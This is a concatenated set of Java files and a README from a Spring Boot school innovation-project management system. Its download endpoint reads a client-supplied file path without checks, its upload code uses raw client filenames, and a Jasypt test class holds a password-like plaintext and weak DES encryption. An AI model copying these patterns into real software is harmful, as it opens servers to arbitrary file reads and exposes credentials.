private InnovateEnterpriseAttachService innovateEnterpriseAttachService;
/**
* 文件上传
* @param files
* @param request
* @return
*/
@PostMapping(value = "/upload")
@RequiresPermissions("enterprise:innovateenterpriseinfo:save")
public Object uploadFile(@RequestParam("file") List<MultipartFile> files,HttpServletRequest request) {
String enterpriseName = request.getParameter("enterpriseName");
String attachType = request.getParameter("attachType");
String UPLOAD_FILES_PATH = "enterprise"+ File.separator + Calendar.getInstance().get(Calendar.YEAR) + File.separator+enterpriseName + "/"+ RandomUtils.getRandomNums()+"/";
if (Objects.isNull(files) || files.isEmpty()) {
return R.error("文件为空,请重新上传");
}
InnovateEnterpriseAttachEntity innovateEnterpriseAttachEntity=null;
for(MultipartFile file : files){
String fileName = file.getOriginalFilename();
OSSUtils.upload2OSS(file,UPLOAD_FILES_PATH+fileName);
UPLOAD_FILES_PATH += fileName;
innovateEnterpriseAttachEntity = new InnovateEnterpriseAttachEntity();
innovateEnterpriseAttachEntity.setAttachName(fileName);
innovateEnterpriseAttachEntity.setAttachPath(UPLOAD_FILES_PATH);
innovateEnterpriseAttachEntity.setAttachType(Integer.parseInt(attachType));
innovateEnterpriseAttachEntity.setAttachTime(new Date());// new Date()为获取当前系统时间
}
return R.ok("文件上传成功")
.put("innovateEnterpriseAttachEntity", innovateEnterpriseAttachEntity);
}
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("enterprise:innovateenterpriseattach:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateEnterpriseAttachService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@RequestMapping("/info/{attachId}")
@RequiresPermissions("enterprise:innovateenterpriseattach:info")
public R info(@PathVariable("attachId") Long attachId){
InnovateEnterpriseAttachEntity innovateEnterpriseAttach = innovateEnterpriseAttachService.selectOne(new EntityWrapper<InnovateEnterpriseAttachEntity>()
.eq("attach_id",attachId).eq("is_del",0));
return R.ok().put("innovateEnterpriseAttach", innovateEnterpriseAttach);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("enterprise:innovateenterpriseattach:save")
public R save(@RequestBody InnovateEnterpriseAttachEntity innovateEnterpriseAttach){
innovateEnterpriseAttachService.insert(innovateEnterpriseAttach);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("enterprise:innovateenterpriseattach:update")
public R update(@RequestBody InnovateEnterpriseAttachEntity innovateEnterpriseAttach){
innovateEnterpriseAttachService.updateById(innovateEnterpriseAttach);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("enterprise:innovateenterpriseinfo:delete")
public R delete(@RequestBody Long[] attachIds){
innovateEnterpriseAttachService.delList(Arrays.asList(attachIds));
// innovateEnterpriseAttachService.deleteBatchIds(Arrays.asList(attachIds));
return R.ok();
}
/**
* 文件下载
*/
@PostMapping(value = "/download")
@RequiresPermissions("enterprise:innovateenterpriseinfo:info")
public void downloadFile(final HttpServletResponse response, final HttpServletRequest request) {
String filePath = request.getParameter("filePath");
FileUtils.download(response, filePath);
}
}
<file_sep>package com.innovate.modules.cooperation.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import com.fasterxml.jackson.annotation.JsonFormat;
import lombok.Data;
/**
* 校政企合作附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-25 21:54:33
*/
@Data
@TableName("innovate_cooperation_materials")
public class InnovateCooperationMaterialsEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
private Long materialsId;
/**
* 模糊id P-企业项目表id A-企业合作表id
*/
private String functionId;
/**
* 附件名称
*/
private String attachName;
/**
* 附件路径
*/
private String attachPath;
/**
* 上传时间
*/
@JsonFormat(pattern="yyyy-MM-dd")
private Date attachTime;
/**
* 是否删除
*/
private Integer isDel;
}
<file_sep>package com.innovate.modules.innovate.entity;
import com.alibaba.excel.annotation.format.DateTimeFormat;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.sql.Timestamp;
import java.util.Date;
import com.fasterxml.jackson.annotation.JsonFormat;
import lombok.Data;
/**
* 申报流程设置
*
* @author HHUFU
* @email <EMAIL>
* @date 2021-02-03 11:43:20
*/
@Data
@TableName("innovate_declaration_process_setting")
public class InnovateDeclarationProcessSettingEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
private Long dpsId;
/**
* 申报流程名称 1:大创申报 3 大创结题
*/
private Integer declareProcessName;
/**
* 开始时间
*/
@DateTimeFormat("yyyy-MM-dd")
@JsonFormat(locale="zh", timezone="GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
private Timestamp startTime;
/**
* 截止时间
*/
@DateTimeFormat("yyyy-MM-dd")
@JsonFormat(locale="zh", timezone="GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
private Timestamp endTime;
/**
* 备注
*/
private String remark;
/**
* 评分细则名称
*/
private String attachName;
/**
* 评分细则路径
*/
private String attachPath;
}
<file_sep>package com.innovate.modules.check.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.check.dao.InnovateCheckReviewDao;
import com.innovate.modules.check.entity.InnovateCheckInfoEntity;
import com.innovate.modules.check.entity.InnovateCheckReviewEntity;
import com.innovate.modules.check.service.InnovateCheckInfoService;
import com.innovate.modules.check.service.InnovateCheckReviewService;
import com.innovate.modules.declare.dao.DeclareReviewDao;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import com.innovate.modules.declare.entity.DeclareReviewEntity;
import com.innovate.modules.declare.entity.DeclareTeacherEntity;
import com.innovate.modules.declare.service.DeclareApplyService;
import com.innovate.modules.declare.service.DeclareInfoService;
import com.innovate.modules.declare.service.DeclareReviewService;
import com.innovate.modules.declare.service.DeclareTeacherService;
import com.innovate.modules.innovate.entity.InnovateReviewGroupUserEntity;
import com.innovate.modules.innovate.service.InnovateReviewGroupUserService;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import com.innovate.modules.sys.service.SysUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.*;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:43
* @Version 1.0
*/
@Service
public class InnovateCheckReviewServiceImpl extends ServiceImpl<InnovateCheckReviewDao, InnovateCheckReviewEntity> implements InnovateCheckReviewService {
@Autowired
private InnovateCheckReviewService innovateCheckReviewService;
@Autowired
private InnovateCheckInfoService innovateCheckInfoService;
@Autowired
private DeclareTeacherService declareTeacherService;
@Autowired
private InnovateReviewGroupUserService innovateReviewGroupUserService;
@Autowired
private SysUserService sysUserService;
@Override
public List<InnovateCheckReviewEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
@Override
public Long queryCount(Map<String, Object> params){
return baseMapper.queryCount(params);
}
@Override
public Double queryScoreAvg(Map<String, Object> params) {
return baseMapper.queryScoreAvg(params);
}
/**
* 查询未评分评委信息
*/
@Override
public List<MatchUnScoreTeacherEntity> queryTeacher(Map<String, Object> params) {
return baseMapper.queryTeacher(params);
}
@Override
public void reviewUser(Map<String,Object> params) {
Long checkId = Long.parseLong(params.get("checkId").toString());
Long groupId = Long.parseLong(params.get("groupId").toString());
Long userId = Long.parseLong(params.get("userId").toString());
String apply = params.get("apply").toString();
String reApply = params.get("reApply").toString();
// 更新评委组
InnovateCheckInfoEntity innovateCheckInfoEntity = innovateCheckInfoService.selectById(checkId);
innovateCheckInfoEntity.setGroupId(groupId);
//3:已经分配评委组状态
// innovateCheckInfoEntity.setProjectCheckApplyStatus(3);
innovateCheckInfoService.updateById(innovateCheckInfoEntity);
// 查询项目全部老师
List<DeclareTeacherEntity> declareTeacherEntities = declareTeacherService.queryAll(params);
// 查询组内老师
List<InnovateReviewGroupUserEntity> innovateReviewGroupUserEntities = innovateReviewGroupUserService.queryAllGroupUser(groupId);
// 移除全部评委
innovateCheckReviewService.remove(params);
InnovateCheckReviewEntity innovateCheckReviewEntity = null;
Set<InnovateCheckReviewEntity> tempSet = new HashSet<InnovateCheckReviewEntity>();
for (int index = 0; index < innovateReviewGroupUserEntities.size(); index++) {
for (int indexJ = 0; indexJ < declareTeacherEntities.size(); indexJ++) {
if (innovateReviewGroupUserEntities.get(index).getUserId() != declareTeacherEntities.get(indexJ).getUserId()) {
innovateCheckReviewEntity = new InnovateCheckReviewEntity();
innovateCheckReviewEntity.setApply(apply);
innovateCheckReviewEntity.setCheckId(checkId);
innovateCheckReviewEntity.setUserName(sysUserService.selectById(innovateReviewGroupUserEntities.get(index).getUserId()).getName());
innovateCheckReviewEntity.setUserId(innovateReviewGroupUserEntities.get(index).getUserId());
tempSet.add(innovateCheckReviewEntity);
}
}
}
for (InnovateCheckReviewEntity tempdeclareReviewEntity: tempSet) {
innovateCheckReviewService.insert(tempdeclareReviewEntity);
}
if (reApply.equals("false")) {
innovateCheckInfoService.apply(params);
}
}
@Override
public void score(InnovateCheckReviewEntity declareReviewEntity) {
Long checkId = declareReviewEntity.getCheckId();
innovateCheckReviewService.updateById(declareReviewEntity);
String apply = declareReviewEntity.getApply();
Map<String, Object> params = new HashMap<>();
params.put("checkId", checkId);
params.put("apply", apply);
params.put("roleId", 6);
Long count = innovateCheckReviewService.queryCount(params);
if (count == 0L){
//更新状态
innovateCheckInfoService.apply(params);
//计算平均分
Double scoreAvg = innovateCheckReviewService.queryScoreAvg(params);
InnovateCheckInfoEntity innovateCheckInfoEntity = innovateCheckInfoService.selectById(checkId);
innovateCheckInfoEntity.setCheckScoreAvg(scoreAvg);
innovateCheckInfoService.updateById(innovateCheckInfoEntity);
}
}
@Override
public InnovateCheckReviewEntity queryScore(Map<String,Object> params) {
return baseMapper.queryScore(params);
}
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.common.BaseCalculate;
import com.innovate.modules.innovate.dao.BaseTeacherInfoDao;
import com.innovate.modules.innovate.entity.BaseInfoEntity;
import com.innovate.modules.innovate.entity.BaseTeacherInfoEntity;
import com.innovate.modules.innovate.service.BaseInfoService;
import com.innovate.modules.innovate.service.BaseTeacherInfoService;
import com.innovate.modules.innovate.utils.BaseCalculateUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:51
* @Version 1.0
*/
@Service
public class BaseTeacherInfoServiceImpl extends ServiceImpl<BaseTeacherInfoDao, BaseTeacherInfoEntity> implements BaseCalculate, BaseTeacherInfoService {
@Autowired
private BaseInfoService baseInfoService;
BaseTeacherInfoServiceImpl() {
BaseCalculateUtil.addObject(this);
}
@Override
public PageUtils queryPage(Map<String, Object> params) {
Page<BaseTeacherInfoEntity> page = this.selectPage(
new Query<BaseTeacherInfoEntity>(params).getPage(),
new EntityWrapper<BaseTeacherInfoEntity>()
);
return new PageUtils(page);
}
@Override
public Long queryAllTeacher(Long baseId) {
return baseMapper.queryAllTeacher(baseId);
}
@Override
public Long queryTypeTeacher(Long baseId, Long status) {
return baseMapper.queryTypeTeacher(baseId, status);
}
@Override
public void calculate(Long baseId) {
BaseInfoEntity baseInfoEntity = baseInfoService.selectById(baseId);
//教师总数
Long allTeacherNum = this.queryAllTeacher(baseId);
if (null == allTeacherNum) {
allTeacherNum = 0L;
}
baseInfoEntity.setBaseAllTeacherNum(allTeacherNum);
//全职教师总数
Long fullTeacherNum = this.queryTypeTeacher(baseId, 1L);
if (null == fullTeacherNum) {
fullTeacherNum = 0L;
}
baseInfoEntity.setBaseFullTeacherNum(fullTeacherNum);
//兼职教师总数
Long partTeacherNum = this.queryTypeTeacher(baseId, 2L);
if (null == partTeacherNum) {
partTeacherNum = 0L;
}
baseInfoEntity.setBasePartTeacherNum(partTeacherNum);
baseInfoService.updateAllColumnById(baseInfoEntity);
}
}
<file_sep>package com.innovate.modules.finish.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.modules.finish.entity.FinishRetreatEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
public interface FinishRetreatService extends IService<FinishRetreatEntity> {
@Transactional
void updateRetreat(Map<String, Object> params);
List<FinishRetreatEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.google.gson.Gson;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.common.utils.ShiroUtils;
import com.innovate.modules.innovate.entity.*;
import com.innovate.modules.innovate.service.*;
import com.innovate.modules.innovate.utils.ProjectCalculateUtil;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.*;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 21:10
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/project/info")
public class ProjectInfoController extends AbstractController {
@Autowired
private ProjectInfoService innovateProjectInfoService;
@Autowired
private UserTeacherInfoService userTeacherInfoService;
@Autowired
private ProjectInfoModelService projectInfoModelService;
@Autowired
private BaseProjectStationService baseProjectStationService;
private ProjectInfoEntity tempProjectInfoEntity;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:project:list")
public R list(@RequestParam Map<String, Object> params){
/*获得当前用户的所属部门*/
Long erInstituteId = ShiroUtils.getUserEntity().getInstituteId();
params.put("erInstituteId",erInstituteId);
PageUtils page = projectInfoModelService.queryPage(params);
return R.ok()
.put("page", page);
}
/**
* 未通过的项目
*/
@GetMapping("/nopass")
@RequiresPermissions("innovate:project:list")
public R noPass(@RequestParam Map<String, Object> params){
List<ProjectInfoEntity> projectInfoEntities = innovateProjectInfoService.noPass(params);
return R.ok()
.put("projectInfoEntities", projectInfoEntities);
}
/**
* 查所有的项目
*/
@GetMapping("/all")
@RequiresPermissions("innovate:project:list")
public R all(@RequestParam Map<String, Object> params){
List<ProjectInfoEntity> projectInfoEntities = innovateProjectInfoService.queryAll(params);
return R.ok()
.put("projectInfoEntities", projectInfoEntities);
}
/**
* 信息
*/
@GetMapping("/info")
@RequiresPermissions("innovate:project:info")
public R info(@RequestParam Map<String, Object> params){
Long projectId = Long.parseLong(params.get("projectId").toString());
ProjectInfoModel projectInfo = projectInfoModelService.query(params);
List<UserTeacherInfoEntity> userTeacherInfoEntities = userTeacherInfoService.queryProjectTeacherInfo(projectId);
List<BaseProjectStationEntity> baseProjectStationEntities = baseProjectStationService.queryAll();
return R.ok()
.put("projectInfo", projectInfo)
.put("userTeacherInfoEntities", userTeacherInfoEntities)
.put("baseProjectStationEntities", baseProjectStationEntities);
}
/**
* 保存
*/
@PostMapping("/save")
@RequiresPermissions("innovate:project:save")
public R save(@RequestBody(required = false) ProjectInfoModel projectInfoModel){
projectInfoModelService.saveEntity(projectInfoModel);
Long stationId = projectInfoModel.getProjectInfoEntity().getStationId();
if (null != stationId) {
ProjectCalculateUtil.setCalculateId(projectInfoModel.getProjectInfoEntity().getProjectId());
ProjectCalculateUtil.calculate();
}
return R.ok();
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:project:update")
public R update(@RequestBody(required = false) ProjectInfoModel projectInfoModel){
projectInfoModelService.updateEntity(projectInfoModel);
tempProjectInfoEntity = innovateProjectInfoService.selectById(projectInfoModel.getProjectInfoEntity().getProjectId());
// Long stationId = projectInfoModel.getProjectInfoEntity().getStationId();
// if (null != stationId) {
// ProjectCalculateUtil.setCalculateId(projectInfoModel.getProjectInfoEntity().getProjectId());
// ProjectCalculateUtil.calculate();
// }
// Long stationId2 = tempProjectInfoEntity.getStationId();
// if (null != stationId2) {
// ProjectCalculateUtil.setCalculateId(tempProjectInfoEntity.getProjectId());
// ProjectCalculateUtil.calculate();
// }
return R.ok();
}
/**
* 分配工位号
*/
@PostMapping("/station")
@RequiresPermissions("innovate:project:list")
public R station(@RequestBody(required = false) ProjectInfoModel projectInfoModel){
innovateProjectInfoService.station(projectInfoModel);
return R.ok();
}
/**
*更改企业状态
*/
@PostMapping("/status")
@RequiresPermissions("innovate:project:update")
public R status(@RequestBody(required = false) ProjectInfoModel projectInfoModel){
innovateProjectInfoService.status(projectInfoModel);
return R.ok();
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:project:delete")
public R delete(@RequestBody Long[] projectIds){
Map<String, Object> params = new HashMap<>();
for (Long projectId: projectIds) {
// tempProjectInfoEntity = innovateProjectInfoService.selectById(projectId);
// Long stationId = tempProjectInfoEntity.getStationId();
// if (null != stationId) {
// ProjectCalculateUtil.setCalculateId(tempProjectInfoEntity.getProjectId());
// ProjectCalculateUtil.calculate();
// }
params.put("projectId", projectId);
projectInfoModelService.deleteEntity(params);
}
return R.ok();
}
}
<file_sep>package com.innovate.modules.declare.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.declare.entity.DeclareApplyUpdateEntity;
import com.innovate.modules.declare.service.DeclareApplyUpdateService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目申请修改
**/
@RestController
@RequestMapping("innovate/declare/apply/update")
public class DeclareApplyUpdateController extends AbstractController {
@Autowired
private DeclareApplyUpdateService declareApplyUpdateService;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:apply:save")
public R list(@RequestParam Map<String, Object> params) {
List<DeclareApplyUpdateEntity> page = declareApplyUpdateService.queryAll(params);
return R.ok().put("page", page);
}
/**
* 申请修改
*/
@PostMapping("/apply")
@RequiresPermissions("innovate:apply:save")
public R applyUpdate(@RequestParam Map<String, Object> params) {
declareApplyUpdateService.applyUpdate(params);
return R.ok();
}
/**
* 更新
*/
@PostMapping("/update")
@RequiresPermissions("innovate:apply:save")
public R update(@RequestBody(required = false) DeclareApplyUpdateEntity declareApplyUpdateEntity) {
declareApplyUpdateService.update(declareApplyUpdateEntity);
return R.ok();
}
}
<file_sep>package com.innovate.modules.innovate.entity;
import lombok.Data;
import java.io.Serializable;
import java.util.List;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/26
**/
@Data
public class ProjectInfoModel implements Serializable {
private ProjectInfoEntity projectInfoEntity;
private List<UserPersonInfoEntity> userPersonInfoEntities;
private List<ProjectTeacherEntity> projectTeacherEntities;
private List<ProjectAttachEntity> projectAttachEntities;
private List<ProjectSubMoneyEntity> projectSubMoneyEntities;
private List<ProjectStaffInfoEntity> projectStaffInfoEntities;
private List<ProjectLegalInfoEntity> projectLegalInfoEntities;
private List<ProjectAwardEntity> projectAwardEntities;
private List<ProjectReviewEntity> projectReviewEntities;
}
<file_sep>package com.innovate.modules.cooperation.entity;
import com.alibaba.excel.annotation.ExcelIgnore;
import com.alibaba.excel.annotation.ExcelProperty;
import com.alibaba.excel.annotation.format.DateTimeFormat;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.innovate.modules.sys.entity.SysUserEntity;
import lombok.Data;
/**
* 企业协议管理
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-26 11:24:20
*/
@Data
@TableName("innovate_cooperation_agreement")
public class InnovateCooperationAgreementEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
@ExcelIgnore
private Long enterpriseId;
/**
* 企业名称
*/
@ExcelProperty(value = {"企业名称"})
private String enterpriseName;
/**
* 所属二级学院名称
*/
@TableField(exist = false)
@ExcelProperty(value = "所属二级学院名称")
private String instituteName;
/**
* 二级学院 innovate_sys_institute主键
*/
@ExcelIgnore
@ExcelProperty(value = {"二级学院"})
private Long instituteId;
/**
* 年度
*/
@ExcelProperty(value = {"年度"})
private String agreementYear;
/**
* 协议时间
*/
@DateTimeFormat("yyyy-MM-dd")
@JsonFormat(locale="zh", timezone="GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
@ExcelProperty(value = {"协议时间"})
private Date agreementTime;
/**
* 协议材料
*/
@ExcelIgnore
@ExcelProperty(value = {"协议材料"})
private String agreementMaterials;
/**
* 企业记录
*/
@ExcelProperty(value = {"备注"})
private String enterpriseRecords;
/**
* 创建者
*/
@ExcelIgnore
private Long userId;
/**
* 是否删除
*/
@ExcelIgnore
private Integer isDel;
/**
* 用户信息
*/
@TableField(exist = false)
@ExcelIgnore
private SysUserEntity userEntity;
/**
* 企业登记表主键
*/
@ExcelIgnore
private Long authenticationId;
}
<file_sep>package com.innovate.modules.util;
import org.jasypt.encryption.pbe.StandardPBEStringEncryptor;
import org.jasypt.encryption.pbe.config.EnvironmentPBEConfig;
import org.junit.Test;
/**
* @ProjectName innovate-admin
* @Author 麦奇
* @Email <EMAIL>
* @Date 3/15/20 5:00 PM
* @Version 1.0
* @Description:
**/
public class JasyptUtils {
/**
* 加密
* @throws Exception
*/
@Test
public void EncryptCode() throws Exception {
StandardPBEStringEncryptor standardPBEStringEncryptor = new StandardPBEStringEncryptor();
EnvironmentPBEConfig config = new EnvironmentPBEConfig();
config.setAlgorithm("PBEWithMD5AndDES"); // 加密的算法,这个算法是默认的
config.setPassword("<PASSWORD>"); // 加密的密钥
standardPBEStringEncryptor.setConfig(config);
// String plainText = "your need encrypt string";
// String plainText = "Panda15677408298";
String plainText = "root";
String encryptedText = standardPBEStringEncryptor.encrypt(plainText);
System.out.println(encryptedText);
}
/**
* 解密
* @throws Exception
*/
@Test
public void DeCode() throws Exception {
StandardPBEStringEncryptor standardPBEStringEncryptor = new StandardPBEStringEncryptor();
EnvironmentPBEConfig config = new EnvironmentPBEConfig();
config.setAlgorithm("PBEWithMD5AndDES");
config.setPassword("<PASSWORD>");
standardPBEStringEncryptor.setConfig(config);
String encryptedText = "Nve3rwvAuhO04Wmvht932gtGPdfhNhr5";
String plainText = standardPBEStringEncryptor.decrypt(encryptedText);
System.out.println(plainText);
}
}
<file_sep>package com.innovate.modules.check.entity;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import lombok.Data;
import java.io.Serializable;
import java.util.List;
/**
* @ProjectName innovate-admin
* @Author 麦奇
* @Email <EMAIL>
* @Date 9/20/19 10:40 AM
* @Version 1.0
* @Description:
**/
@Data
public class InnovateCheckInfoModel implements Serializable {
private static final long serialVersionUID = 1L;
//中期检查
private InnovateCheckInfoEntity innovateCheckInfoEntity;
//附件
private List<InnovateCheckAttachEntity> innovateCheckAttachEntities;
//对应的大创项目
private DeclareInfoEntity declareInfoEntity;
//回退记录
private List<InnovateCheckRetreatEntity> innovateCheckRetreatEntities;
//获奖信息
private List<InnovateCheckAwardEntity> innovateCheckAwardEntities;
//评委评分
private List<InnovateCheckReviewEntity> innovateCheckReviewEntities;
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.ProjectMatchInfoEntity;
import com.innovate.modules.innovate.entity.ProjectApplyUpdateEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:20
* @Version 1.0
*/
@Mapper
public interface ProjectMatchInfoDao extends BaseMapper<ProjectMatchInfoEntity> {
List<ProjectApplyUpdateEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.profess.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.profess.entity.InnovateProfessAchieveTypeEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* 专创成果类型
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:40:46
*/
public interface InnovateProfessAchieveTypeService extends IService<InnovateProfessAchieveTypeEntity> {
PageUtils queryPage(Map<String, Object> params);
List<InnovateProfessAchieveTypeEntity> queryAllProfessAchieveType();
@Transactional
void total(Map<String, Object> params);
InnovateProfessAchieveTypeEntity queryByProfessAchieveTypeId(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.check.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import lombok.Data;
/**
* 中期检查回退
*
* @author Mikey
* @email <EMAIL>
* @date 2019-09-18 22:20:42
*/
@Data
@TableName("innovate_check_retreat")
public class InnovateCheckRetreatEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 回退id
*/
@TableId
private Long retreatId;
/**
* 中期检查id
*/
private Long checkId;
/**
* 用户id
*/
private Long userId;
/**
* 中期检查流程
*/
private String apply;
/**
* 流程进度值
*/
private Integer applyStatus;
/**
* 回退建议
*/
private String retreatOption;
/**
* 是否修改
*/
private Integer hasUpdate;
/**
*
*/
private Integer isDel;
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.google.gson.Gson;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.UserPersonInfoDao;
import com.innovate.modules.innovate.entity.UserPersonInfoEntity;
import com.innovate.modules.innovate.service.UserPerInfoService;
import com.innovate.modules.sys.entity.SysUserEntity;
import com.innovate.modules.sys.service.SysUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:40
* @Version 1.0
*/
@Service
public class UserPerInfoServiceImpl extends ServiceImpl<UserPersonInfoDao, UserPersonInfoEntity> implements UserPerInfoService {
@Autowired
private SysUserService sysUserService;
@Autowired
private UserPerInfoService userPerInfoService;
@Override
public List<UserPersonInfoEntity> queryAllPersonInfo(Map<String, Object> params) {
return baseMapper.queryAllPersonInfo(params);
}
@Override
public Long deleteByProjectId(Long projectId) {
return baseMapper.deleteByProjectId(projectId);
}
@Override
public UserPersonInfoEntity queryByUserId(Long userId) {
UserPersonInfoEntity userPersonInfoEntity = baseMapper.queryByUserId(userId);
SysUserEntity sysUserEntity = sysUserService.selectById(userId);
if (null == userPersonInfoEntity) {
userPersonInfoEntity = new UserPersonInfoEntity();
}
userPersonInfoEntity.setSysUserEntity(sysUserEntity);
return userPersonInfoEntity;
}
@Override
public void saveOrUpdate(UserPersonInfoEntity userPersonInfoEntity) {
System.out.println("这是" + new Gson().toJson(userPersonInfoEntity));;
SysUserEntity sysUserEntity = userPersonInfoEntity.getSysUserEntity();
userPersonInfoEntity.setSysUserEntity(null);
this.insertOrUpdate(userPersonInfoEntity);
sysUserService.insertOrUpdate(sysUserEntity);
}
/**
* 根据学院id查找该学院下的全部负责人
* @param instituteId
* @return
*/
@Override
public List<UserPersonInfoEntity> queryByUserInstituteIds(Long instituteId) {
return baseMapper.queryByUserInstituteIds(instituteId);
}
@Override
public Long queryUserPerIdByUserId(Long userId) {
return baseMapper.queryUserPerIdByUserId(userId);
}
/**
* 通过用户id查询学生
* @param userId
* @return
*/
@Override
public UserPersonInfoEntity queryUserByUserId(Long userId) {
EntityWrapper<UserPersonInfoEntity> userPersonInfoEntityEntityWrapper = new EntityWrapper<>();
userPersonInfoEntityEntityWrapper.eq("user_id",userId);
return super.selectOne(userPersonInfoEntityEntityWrapper);
}
}
<file_sep># innovate
#### 项目介绍
学校创新创业信息管理系统
#### 软件架构
软件架构说明
技术要求:
>spring boot,spring mvc,mybatis,mybatis plus
#### 安装教程
1. idea自带数据库管理工具导入方式 创建innovate_admin数据库命令:
```sql
CREATE SCHEMA innovate_admin DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
```
2. maven引入jar包
选择maven插件中的install 或 `mvn install`
3. 运行InnovateApplication
#### 使用说明
1. 构建镜像: `mvn clean package docker:build`
2. 部署应用: `docker run --name innovate-admin --privileged=true -d -p 8080:8080 -v /root/mikey/MIKEY:/home/mikey/MIKEY 90fbb84d9eb1`
3. 下载依赖: `mvn clean install`
4. 构建镜像: `docker build -t mikeyboom/innovate-admin:lastst .`
5. 推到仓库: `docker push mikeyboom/innovate-admin`
6. 拉取镜像: `docker pull mikeyboom/innovate-admin:latest`
6. 启动服务: `docker-compose -f docker-compose.yml -d`
### 修改数据库密码
修改普通用户只改一个
`SET PASSWORD FOR 'username' = PASSWORD('<PASSWORD>');`
修改root用户改两个
`SET PASSWORD FOR 'root' = PASSWORD('<PASSWORD>');`
`SET PASSWORD FOR 'root'@'localhost'=PASSWORD('<PASSWORD>');`
#### 持续集成平台
>Travis CI
#### TODO
<file_sep>package com.innovate.modules.enterprise.service.impl;
import com.innovate.modules.enterprise.utility.ExportShiro;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
